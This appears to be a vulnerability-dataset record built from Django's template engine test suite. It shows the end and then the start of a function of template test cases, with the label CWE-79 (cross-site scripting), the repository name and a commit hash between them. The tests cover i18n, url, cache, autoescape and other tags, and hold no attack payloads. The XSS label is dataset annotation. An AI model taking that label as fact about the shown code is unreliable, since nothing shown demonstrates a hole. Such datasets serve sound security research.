            'i18n24': (""{% load i18n %}{% trans 'Page not found'|upper %}"", {'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),
            'i18n25': ('{% load i18n %}{% trans somevar|upper %}', {'somevar': 'Page not found', 'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),

            # translation of plural form with extra field in singular form (#13568)
            'i18n26': ('{% load i18n %}{% blocktrans with extra_field=myextra_field count counter=number %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),
            'legacyi18n26': ('{% load i18n %}{% blocktrans with myextra_field as extra_field count number as counter %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),

            # translation of singular form in russian (#14126)
            'i18n27': ('{% load i18n %}{% blocktrans count counter=number %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),
            'legacyi18n27': ('{% load i18n %}{% blocktrans count number as counter %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),

            # simple translation of multiple variables
            'i18n28': ('{% load i18n %}{% blocktrans with a=anton b=berta %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),
            'legacyi18n28': ('{% load i18n %}{% blocktrans with anton as a and berta as b %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),

            # retrieving language information
            'i18n28_2': ('{% load i18n %}{% get_language_info for ""de"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n29': ('{% load i18n %}{% get_language_info for LANGUAGE_CODE as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {'LANGUAGE_CODE': 'fi'}, 'fi: Finnish/suomi bidi=False'),
            'i18n30': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),
            'i18n31': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': (('sl', 'Slovenian'), ('fa', 'Persian'))}, 'sl: Slovenian/Sloven\u0161\u010dina bidi=False; fa: Persian/\u0641\u0627\u0631\u0633\u06cc bidi=True; '),
            'i18n32': ('{% load i18n %}{{ ""hu""|language_name }} {{ ""hu""|language_name_local }} {{ ""hu""|language_bidi }}', {}, 'Hungarian Magyar False'),
            'i18n33': ('{% load i18n %}{{ langcode|language_name }} {{ langcode|language_name_local }} {{ langcode|language_bidi }}', {'langcode': 'nl'}, 'Dutch Nederlands False'),

            # blocktrans handling of variables which are not in the context.
            # this should work as if blocktrans was not there (bug #19915)
            'i18n34': ('{% load i18n %}{% blocktrans %}{{ missing }}{% endblocktrans %}', {}, ('', 'INVALID')),
            'i18n34_2': (""{% load i18n %}{% blocktrans with a='α' %}{{ missing }}{% endblocktrans %}"", {}, ('', 'INVALID')),
            'i18n34_3': ('{% load i18n %}{% blocktrans with a=anton %}{{ missing }}{% endblocktrans %}', {'anton': 'α'}, ('', 'INVALID')),

            # trans tag with as var
            'i18n35': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" noop as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" as page_not_found noop %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n37': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{% blocktrans %}Error: {{ page_not_found }}{% endblocktrans %}', {'LANGUAGE_CODE': 'de'}, ""Error: Seite nicht gefunden""),

            # Test whitespace in filter arguments
            'i18n38': ('{% load i18n custom %}{% get_language_info for ""de""|noop:""x y"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n38_2': ('{% load i18n custom %}{% get_language_info_list for langcodes|noop:""x y"" as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),

            ### HANDLING OF TEMPLATE_STRING_IF_INVALID ###################################

            'invalidstr01': ('{{ var|default:""Foo"" }}', {}, ('Foo','INVALID')),
            'invalidstr02': ('{{ var|default_if_none:""Foo"" }}', {}, ('','INVALID')),
            'invalidstr03': ('{% for v in var %}({{ v }}){% endfor %}', {}, ''),
            'invalidstr04': ('{% if var %}Yes{% else %}No{% endif %}', {}, 'No'),
            'invalidstr04_2': ('{% if var|default:""Foo"" %}Yes{% else %}No{% endif %}', {}, 'Yes'),
            'invalidstr05': ('{{ var }}', {}, ('', ('INVALID %s', 'var'))),
            'invalidstr06': ('{{ var.prop }}', {'var': {}}, ('', ('INVALID %s', 'var.prop'))),

            ### MULTILINE #############################################################

            'multiline01': (""""""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """""",
                            {},
                            """"""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """"""),

            ### REGROUP TAG ###########################################################
            'regroup01': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [ {'foo':'c', 'bar':1},
                                     {'foo':'d', 'bar':1},
                                     {'foo':'a', 'bar':2},
                                     {'foo':'b', 'bar':2},
                                     {'foo':'x', 'bar':3}  ]},
                          '1:cd,2:ab,3:x,'),

            # Test for silent failure when target variable isn't found
            'regroup02': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {}, ''),

            # Regression tests for #17675
            # The date template filter has expects_localtime = True
            'regroup03': ('{% regroup data by at|date:""m"" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.at|date:""d"" }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'at': date(2012, 2, 14)},
                                    {'at': date(2012, 2, 28)},
                                    {'at': date(2012, 7, 4)}]},
                          '02:1428,07:04,'),
            # The join template filter has needs_autoescape = True
            'regroup04': ('{% regroup data by bar|join:"""" as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo|first }}'
                          '{% endfor %},'
                          '{% endfor %}',
                          {'data': [{'foo': 'x', 'bar': ['ab', 'c']},
                                    {'foo': 'y', 'bar': ['a', 'bc']},
                                    {'foo': 'z', 'bar': ['a', 'd']}]},
                          'abc:xy,ad:z,'),

            # Test syntax
            'regroup05': ('{% regroup data by bar as %}', {},
                           template.TemplateSyntaxError),
            'regroup06': ('{% regroup data by bar thisaintright grouped %}', {},
                           template.TemplateSyntaxError),
            'regroup07': ('{% regroup data thisaintright bar as grouped %}', {},
                           template.TemplateSyntaxError),
            'regroup08': ('{% regroup data by bar as grouped toomanyargs %}', {},
                           template.TemplateSyntaxError),

            ### SSI TAG ########################################################

            # Test normal behavior
            'ssi01': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi02': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'not_here'), {}, ''),
            'ssi03': (""{%% ssi '%s' %%}"" % os.path.join(basedir, 'not_here'), {}, ''),

            # Test passing as a variable
            'ssi04': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': os.path.join(basedir, 'templates', 'ssi_include.html')}, 'This is for testing an ssi include. {{ test }}\n'),
            'ssi05': ('{% load ssi from future %}{% ssi ssi_file %}', {'ssi_file': 'no_file'}, ''),

            # Test parsed output
            'ssi06': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi_include.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include. Look ma! It parsed!\n'),
            'ssi07': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'not_here'), {'test': 'Look ma! It parsed!'}, ''),

            # Test space in file name
            'ssi08': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {}, 'This is for testing an ssi include with spaces in its name. {{ test }}\n'),
            'ssi09': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include with spaces in its name. Look ma! It parsed!\n'),

            ### TEMPLATETAG TAG #######################################################
            'templatetag01': ('{% templatetag openblock %}', {}, '{%'),
            'templatetag02': ('{% templatetag closeblock %}', {}, '%}'),
            'templatetag03': ('{% templatetag openvariable %}', {}, '{{'),
            'templatetag04': ('{% templatetag closevariable %}', {}, '}}'),
            'templatetag05': ('{% templatetag %}', {}, template.TemplateSyntaxError),
            'templatetag06': ('{% templatetag foo %}', {}, template.TemplateSyntaxError),
            'templatetag07': ('{% templatetag openbrace %}', {}, '{'),
            'templatetag08': ('{% templatetag closebrace %}', {}, '}'),
            'templatetag09': ('{% templatetag openbrace %}{% templatetag openbrace %}', {}, '{{'),
            'templatetag10': ('{% templatetag closebrace %}{% templatetag closebrace %}', {}, '}}'),
            'templatetag11': ('{% templatetag opencomment %}', {}, '{#'),
            'templatetag12': ('{% templatetag closecomment %}', {}, '#}'),

            # Simple tags with customized names
            'simpletag-renamed01': ('{% load custom %}{% minusone 7 %}', {}, '6'),
            'simpletag-renamed02': ('{% load custom %}{% minustwo 7 %}', {}, '5'),
            'simpletag-renamed03': ('{% load custom %}{% minustwo_overridden_name 7 %}', {}, template.TemplateSyntaxError),

            ### WIDTHRATIO TAG ########################################################
            'widthratio01': ('{% widthratio a b 0 %}', {'a':50,'b':100}, '0'),
            'widthratio02': ('{% widthratio a b 100 %}', {'a':0,'b':0}, '0'),
            'widthratio03': ('{% widthratio a b 100 %}', {'a':0,'b':100}, '0'),
            'widthratio04': ('{% widthratio a b 100 %}', {'a':50,'b':100}, '50'),
            'widthratio05': ('{% widthratio a b 100 %}', {'a':100,'b':100}, '100'),

            # 62.5 should round to 63 on Python 2 and 62 on Python 3
            # See http://docs.python.org/py3k/whatsnew/3.0.html
            'widthratio06': ('{% widthratio a b 100 %}', {'a':50,'b':80}, '62' if six.PY3 else '63'),

            # 71.4 should round to 71
            'widthratio07': ('{% widthratio a b 100 %}', {'a':50,'b':70}, '71'),

            # Raise exception if we don't have 3 args, last one an integer
            'widthratio08': ('{% widthratio %}', {}, template.TemplateSyntaxError),
            'widthratio09': ('{% widthratio a b %}', {'a':50,'b':100}, template.TemplateSyntaxError),
            'widthratio10': ('{% widthratio a b 100.0 %}', {'a':50,'b':100}, '50'),

            # #10043: widthratio should allow max_width to be a variable
            'widthratio11': ('{% widthratio a b c %}', {'a':50,'b':100, 'c': 100}, '50'),

            # #18739: widthratio should handle None args consistently with non-numerics
            'widthratio12a': ('{% widthratio a b c %}', {'a':'a','b':100,'c':100}, ''),
            'widthratio12b': ('{% widthratio a b c %}', {'a':None,'b':100,'c':100}, ''),
            'widthratio13a': ('{% widthratio a b c %}', {'a':0,'b':'b','c':100}, ''),
            'widthratio13b': ('{% widthratio a b c %}', {'a':0,'b':None,'c':100}, ''),
            'widthratio14a': ('{% widthratio a b c %}', {'a':0,'b':100,'c':'c'}, template.TemplateSyntaxError),
            'widthratio14b': ('{% widthratio a b c %}', {'a':0,'b':100,'c':None}, template.TemplateSyntaxError),

            # Test whitespace in filter argument
            'widthratio15': ('{% load custom %}{% widthratio a|noop:""x y"" b 0 %}', {'a':50,'b':100}, '0'),

            ### WITH TAG ########################################################
            'with01': ('{% with key=dict.key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),
            'legacywith01': ('{% with dict.key as key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),

            'with02': ('{{ key }}{% with key=dict.key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),
            'legacywith02': ('{{ key }}{% with dict.key as key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),

            'with03': ('{% with a=alpha b=beta %}{{ a }}{{ b }}{% endwith %}', {'alpha': 'A', 'beta': 'B'}, 'AB'),

            'with-error01': ('{% with dict.key xx key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),
            'with-error02': ('{% with dict.key as %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),

            ### NOW TAG ########################################################
            # Simple case
            'now01': ('{% now ""j n Y"" %}', {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            # Check parsing of locale strings
            'now02': ('{% now ""DATE_FORMAT"" %}', {},  date_format(datetime.now())),
            # Also accept simple quotes - #15092
            'now03': (""{% now 'j n Y' %}"", {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now04': (""{% now 'DATE_FORMAT' %}"", {},  date_format(datetime.now())),
            'now05': ('''{% now 'j ""n"" Y'%}''', {}, '''%d ""%d"" %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now06': ('''{% now ""j 'n' Y""%}''', {}, '''%d '%d' %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),

            ### URL TAG ########################################################
            # Successes
            'url01': ('{% url ""template_tests.views.client"" client.id %}', {'client': {'id': 1}}, '/url_tag/client/1/'),
            'url02': ('{% url ""template_tests.views.client_action"" id=client.id action=""update"" %}', {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02a': ('{% url ""template_tests.views.client_action"" client.id ""update"" %}', {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02b': (""{% url 'template_tests.views.client_action' id=client.id action='update' %}"", {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02c': (""{% url 'template_tests.views.client_action' client.id 'update' %}"", {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url03': ('{% url ""template_tests.views.index"" %}', {}, '/url_tag/'),
            'url04': ('{% url ""named.client"" client.id %}', {'client': {'id': 1}}, '/url_tag/named-client/1/'),
            'url05': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url06': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url07': ('{% url ""template_tests.views.client2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url08': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url09': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url10': ('{% url ""template_tests.views.client_action"" id=client.id action=""two words"" %}', {'client': {'id': 1}}, '/url_tag/client/1/two%20words/'),
            'url11': ('{% url ""template_tests.views.client_action"" id=client.id action=""=="" %}', {'client': {'id': 1}}, '/url_tag/client/1/%3D%3D/'),
            'url12': ('{% url ""template_tests.views.client_action"" id=client.id action="","" %}', {'client': {'id': 1}}, '/url_tag/client/1/%2C/'),
            'url13': ('{% url ""template_tests.views.client_action"" id=client.id action=arg|join:""-"" %}', {'client': {'id': 1}, 'arg':['a','b']}, '/url_tag/client/1/a-b/'),
            'url14': ('{% url ""template_tests.views.client_action"" client.id arg|join:""-"" %}', {'client': {'id': 1}, 'arg':['a','b']}, '/url_tag/client/1/a-b/'),
            'url15': ('{% url ""template_tests.views.client_action"" 12 ""test"" %}', {}, '/url_tag/client/12/test/'),
            'url18': ('{% url ""template_tests.views.client"" ""1,2"" %}', {}, '/url_tag/client/1%2C2/'),

            'url19': ('{% url named_url client.id %}', {'named_url': 'template_tests.views.client', 'client': {'id': 1}}, '/url_tag/client/1/'),
            'url20': ('{% url url_name_in_var client.id %}', {'url_name_in_var': 'named.client', 'client': {'id': 1}}, '/url_tag/named-client/1/'),

            # Failures
            'url-fail01': ('{% url %}', {}, template.TemplateSyntaxError),
            'url-fail02': ('{% url ""no_such_view"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail03': ('{% url ""template_tests.views.client"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail04': ('{% url ""view"" id, %}', {}, template.TemplateSyntaxError),
            'url-fail05': ('{% url ""view"" id= %}', {}, template.TemplateSyntaxError),
            'url-fail06': ('{% url ""view"" a.id=id %}', {}, template.TemplateSyntaxError),
            'url-fail07': ('{% url ""view"" a.id!id %}', {}, template.TemplateSyntaxError),
            'url-fail08': ('{% url ""view"" id=""unterminatedstring %}', {}, template.TemplateSyntaxError),
            'url-fail09': ('{% url ""view"" id="", %}', {}, template.TemplateSyntaxError),

            'url-fail11': ('{% url named_url %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail12': ('{% url named_url %}', {'named_url': 'no_such_view'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail13': ('{% url named_url %}', {'named_url': 'template_tests.views.client'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail14': ('{% url named_url id, %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail15': ('{% url named_url id= %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail16': ('{% url named_url a.id=id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail17': ('{% url named_url a.id!id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail18': ('{% url named_url id=""unterminatedstring %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail19': ('{% url named_url id="", %}', {'named_url': 'view'}, template.TemplateSyntaxError),

            # {% url ... as var %}
            'url-asvar01': ('{% url ""template_tests.views.index"" as url %}', {}, ''),
            'url-asvar02': ('{% url ""template_tests.views.index"" as url %}{{ url }}', {}, '/url_tag/'),
            'url-asvar03': ('{% url ""no_such_view"" as url %}{{ url }}', {}, ''),

            ### CACHE TAG ######################################################
            'cache03': ('{% load cache %}{% cache 2 test %}cache03{% endcache %}', {}, 'cache03'),
            'cache04': ('{% load cache %}{% cache 2 test %}cache04{% endcache %}', {}, 'cache03'),
            'cache05': ('{% load cache %}{% cache 2 test foo %}cache05{% endcache %}', {'foo': 1}, 'cache05'),
            'cache06': ('{% load cache %}{% cache 2 test foo %}cache06{% endcache %}', {'foo': 2}, 'cache06'),
            'cache07': ('{% load cache %}{% cache 2 test foo %}cache07{% endcache %}', {'foo': 1}, 'cache05'),

            # Allow first argument to be a variable.
            'cache08': ('{% load cache %}{% cache time test foo %}cache08{% endcache %}', {'foo': 2, 'time': 2}, 'cache06'),

            # Raise exception if we don't have at least 2 args, first one integer.
            'cache11': ('{% load cache %}{% cache %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache12': ('{% load cache %}{% cache 1 %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache13': ('{% load cache %}{% cache foo bar %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache14': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': 'fail'}, template.TemplateSyntaxError),
            'cache15': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': []}, template.TemplateSyntaxError),

            # Regression test for #7460.
            'cache16': ('{% load cache %}{% cache 1 foo bar %}{% endcache %}', {'foo': 'foo', 'bar': 'with spaces'}, ''),

            # Regression test for #11270.
            'cache17': ('{% load cache %}{% cache 10 long_cache_key poem %}Some Content{% endcache %}', {'poem': 'Oh freddled gruntbuggly/Thy micturations are to me/As plurdled gabbleblotchits/On a lurgid bee/That mordiously hath bitled out/Its earted jurtles/Into a rancid festering/Or else I shall rend thee in the gobberwarts with my blurglecruncheon/See if I dont.'}, 'Some Content'),

            # Test whitespace in filter arguments
            'cache18': ('{% load cache custom %}{% cache 2|noop:""x y"" cache18 %}cache18{% endcache %}', {}, 'cache18'),


            ### AUTOESCAPE TAG ##############################################
            'autoescape-tag01': (""{% autoescape off %}hello{% endautoescape %}"", {}, ""hello""),
            'autoescape-tag02': (""{% autoescape off %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""<b>hello</b>""),
            'autoescape-tag03': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""&lt;b&gt;hello&lt;/b&gt;""),

            # Autoescape disabling and enabling nest in a predictable way.
            'autoescape-tag04': (""{% autoescape off %}{{ first }} {% autoescape  on%}{{ first }}{% endautoescape %}{% endautoescape %}"", {""first"": ""<a>""}, ""<a> &lt;a&gt;""),

            'autoescape-tag05': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>first</b>""}, ""&lt;b&gt;first&lt;/b&gt;""),

            # Strings (ASCII or unicode) already marked as ""safe"" are not
            # auto-escaped
            'autoescape-tag06': (""{{ first }}"", {""first"": mark_safe(""<b>first</b>"")}, ""<b>first</b>""),
            'autoescape-tag07': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": mark_safe(""<b>Apple</b>"")}, ""<b>Apple</b>""),

            # Literal string arguments to filters, if used in the result, are
            # safe.
            'autoescape-tag08': (r'{% autoescape on %}{{ var|default_if_none:"" endquote\"" hah"" }}{% endautoescape %}', {""var"": None}, ' endquote"" hah'),

            # Objects which return safe strings as their __unicode__ method
            # won't get double-escaped.
            'autoescape-tag09': (r'{{ unsafe }}', {'unsafe': filters.UnsafeClass()}, 'you &amp; me'),
            'autoescape-tag10': (r'{{ safe }}', {'safe': filters.SafeClass()}, 'you &gt; me'),

            # The ""safe"" and ""escape"" filters cannot work due to internal
            # implementation details (fortunately, the (no)autoescape block
            # tags can be used in those cases)
            'autoescape-filtertag01': (""{{ first }}{% filter safe %}{{ first }} x<y{% endfilter %}"", {""first"": ""<a>""}, template.TemplateSyntaxError),

            # ifqeual compares unescaped vales.
            'autoescape-ifequal01': ('{% ifequal var ""this & that"" %}yes{% endifequal %}', { ""var"": ""this & that"" }, ""yes""),

            # Arguments to filters are 'safe' and manipulate their input unescaped.
            'autoescape-filters01': ('{{ var|cut:""&"" }}', { ""var"": ""this & that"" }, ""this  that"" ),
            'autoescape-filters02': ('{{ var|join:"" & \"" }}', { ""var"": (""Tom"", ""Dick"", ""Harry"") }, ""Tom & Dick & Harry""),

            # Literal strings are safe.
            'autoescape-literals01': ('{{ ""this & that"" }}',{}, ""this & that""),

            # Iterating over strings outputs safe characters.
            'autoescape-stringiterations01': ('{% for l in var %}{{ l }},{% endfor %}', {'var': 'K&R'}, ""K,&amp;,R,""),

            # Escape requirement survives lookup.
            'autoescape-lookup01': ('{{ var.key }}', { ""var"": {""key"": ""this & that"" }}, ""this &amp; that""),

            # Static template tags
            'static-prefixtag01': ('{% load static %}{% get_static_prefix %}', {}, settings.STATIC_URL),
            'static-prefixtag02': ('{% load static %}{% get_static_prefix as static_prefix %}{{ static_prefix }}', {}, settings.STATIC_URL),
            'static-prefixtag03': ('{% load static %}{% get_media_prefix %}', {}, settings.MEDIA_URL),
            'static-prefixtag04': ('{% load static %}{% get_media_prefix as media_prefix %}{{ media_prefix }}', {}, settings.MEDIA_URL),
            'static-statictag01': ('{% load static %}{% static ""admin/base.css"" %}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag02': ('{% load static %}{% static base_css %}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag03': ('{% load static %}{% static ""admin/base.css"" as foo %}{{ foo }}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag04': ('{% load static %}{% static base_css as foo %}{{ foo }}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),

            # Verbatim template tag outputs contents without rendering.
            'verbatim-tag01': ('{% verbatim %}{{bare   }}{% endverbatim %}', {}, '{{bare   }}'),
            'verbatim-tag02': ('{% verbatim %}{% endif %}{% endverbatim %}', {}, '{% endif %}'),
            'verbatim-tag03': (""{% verbatim %}It's the {% verbatim %} tag{% endverbatim %}"", {}, ""It's the {% verbatim %} tag""),
            'verbatim-tag04': ('{% verbatim %}{% verbatim %}{% endverbatim %}{% endverbatim %}', {}, template.TemplateSyntaxError),
            'verbatim-tag05': ('{% verbatim %}{% endverbatim %}{% verbatim %}{% endverbatim %}', {}, ''),
            'verbatim-tag06': (""{% verbatim special %}Don't {% endverbatim %} just yet{% endverbatim special %}"", {}, ""Don't {% endverbatim %} just yet""),
        }

        if numpy:
            tests.update({
                # Numpy's array-index syntax allows a template to access a certain item of a subscriptable object.
                'numpy-array-index01': (""{{ var.1 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ""second item""),

                # Fail silently when the array index is out of range.
                'numpy-array-index02': (""{{ var.5 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ("""", ""INVALID"")),
            })


        return tests",CWE-79,django/django,ec371ace004203100d24a74edafc16534dd5d5a9,"def get_template_tests(self):
        # SYNTAX --
        # 'template_name': ('template contents', 'context dict', 'expected string output' or Exception class)
        basedir = os.path.dirname(os.path.abspath(upath(__file__)))
        tests = {
            ### BASIC SYNTAX ################################################

            # Plain text should go through the template parser untouched
            'basic-syntax01': (""something cool"", {}, ""something cool""),

            # Variables should be replaced with their value in the current
            # context
            'basic-syntax02': (""{{ headline }}"", {'headline':'Success'}, ""Success""),

            # More than one replacement variable is allowed in a template
            'basic-syntax03': (""{{ first }} --- {{ second }}"", {""first"" : 1, ""second"" : 2}, ""1 --- 2""),

            # Fail silently when a variable is not found in the current context
            'basic-syntax04': (""as{{ missing }}df"", {}, (""asdf"",""asINVALIDdf"")),

            # A variable may not contain more than one word
            'basic-syntax06': (""{{ multi word variable }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty variable tags
            'basic-syntax07': (""{{ }}"",        {}, template.TemplateSyntaxError),
            'basic-syntax08': (""{{        }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call an object's attribute
            'basic-syntax09': (""{{ var.method }}"", {""var"": SomeClass()}, ""SomeClass.method""),

            # Multiple levels of attribute access are allowed
            'basic-syntax10': (""{{ var.otherclass.method }}"", {""var"": SomeClass()}, ""OtherClass.method""),

            # Fail silently when a variable's attribute isn't found
            'basic-syntax11': (""{{ var.blech }}"", {""var"": SomeClass()}, ("""",""INVALID"")),

            # Raise TemplateSyntaxError when trying to access a variable beginning with an underscore
            'basic-syntax12': (""{{ var.__dict__ }}"", {""var"": SomeClass()}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a variable containing an illegal character
            'basic-syntax13': (""{{ va>r }}"", {}, template.TemplateSyntaxError),
            'basic-syntax14': (""{{ (var.r) }}"", {}, template.TemplateSyntaxError),
            'basic-syntax15': (""{{ sp%am }}"", {}, template.TemplateSyntaxError),
            'basic-syntax16': (""{{ eggs! }}"", {}, template.TemplateSyntaxError),
            'basic-syntax17': (""{{ moo? }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call a dictionary key's value
            'basic-syntax18': (""{{ foo.bar }}"", {""foo"" : {""bar"" : ""baz""}}, ""baz""),

            # Fail silently when a variable's dictionary key isn't found
            'basic-syntax19': (""{{ foo.spam }}"", {""foo"" : {""bar"" : ""baz""}}, ("""",""INVALID"")),

            # Fail silently when accessing a non-simple method
            'basic-syntax20': (""{{ var.method2 }}"", {""var"": SomeClass()}, ("""",""INVALID"")),

            # Don't get confused when parsing something that is almost, but not
            # quite, a template tag.
            'basic-syntax21': (""a {{ moo %} b"", {}, ""a {{ moo %} b""),
            'basic-syntax22': (""{{ moo #}"", {}, ""{{ moo #}""),

            # Will try to treat ""moo #} {{ cow"" as the variable. Not ideal, but
            # costly to work around, so this triggers an error.
            'basic-syntax23': (""{{ moo #} {{ cow }}"", {""cow"": ""cow""}, template.TemplateSyntaxError),

            # Embedded newlines make it not-a-tag.
            'basic-syntax24': (""{{ moo\n }}"", {}, ""{{ moo\n }}""),

            # Literal strings are permitted inside variables, mostly for i18n
            # purposes.
            'basic-syntax25': ('{{ ""fred"" }}', {}, ""fred""),
            'basic-syntax26': (r'{{ ""\""fred\"""" }}', {}, ""\""fred\""""),
